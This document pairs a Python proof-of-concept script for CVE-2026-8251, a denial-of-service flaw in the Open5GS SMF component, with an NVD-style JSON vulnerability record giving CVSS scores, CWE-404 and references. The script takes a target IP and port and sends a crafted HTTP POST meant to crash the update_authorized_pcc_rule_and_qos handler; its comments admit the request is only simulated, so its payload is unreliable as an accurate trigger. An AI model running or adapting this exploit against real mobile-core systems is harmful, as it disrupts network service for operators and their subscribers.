CVE-2026-8251

import socket import sys """ PoC for CVE-2026-8251 (Open5GS DoS Vulnerability) This script sends a crafted payload to trigger the DoS in update_authorized_pcc_rule_and_qos. Target: Open5GS SMF component Usage: python poc.py <target_ip> <target_port> """ def send_exploit(target_ip, target_port): # Simulating a malformed request targeting the vulnerable function # In a real scenario, this would be a specific protocol message (e.g., HTTP/Diameter) # triggering the logic flaw in PCC rule update. payload_header = b"POST /npcf-handler HTTP/1.1\r\n" payload_header += b"Host: open5gs-smf\r\n" payload_header += b"Content-Type: application/json\r\n" payload_header += b"Content-Length: 50\r\n\r\n" # Malformed data structure designed to crash the update_authorized_pcc_rule_and_qos function malicious_body = b'{"pcc_rule": {"qos": {"invalid": "crash_trigger"}}}' full_payload = payload_header + malicious_body try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) print("[*] Sending malicious payload...") s.send(full_payload) s.close() print("[+] Payload sent successfully. Check service availability.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <IP> <PORT>") else: send_exploit(sys.argv[1], int(sys.argv[2]))

{"cve": {"id": "CVE-2026-8251", "sourceIdentifier": "[email protected]", "published": "2026-05-10T23:16:27.563", "lastModified": "2026-05-12T17:35:08.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Open5GS up to 2.7.7. This impacts the function update_authorized_pcc_rule_and_qos of the file /src/smf/npcf-handler.c of the component SMF. Performing a manipulation results in denial of service. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-404"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.7.7", "matchCriteriaId": "0A46BC99-08E7-4D40-A908-76121E4AFCD5"}]}]}], "references": [{"url": "https://github.com/open5gs/open5gs/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/open5gs/open5gs/issues/4445", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://vuldb.com/submit/808480", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/362548", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/362548/cti", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}]}}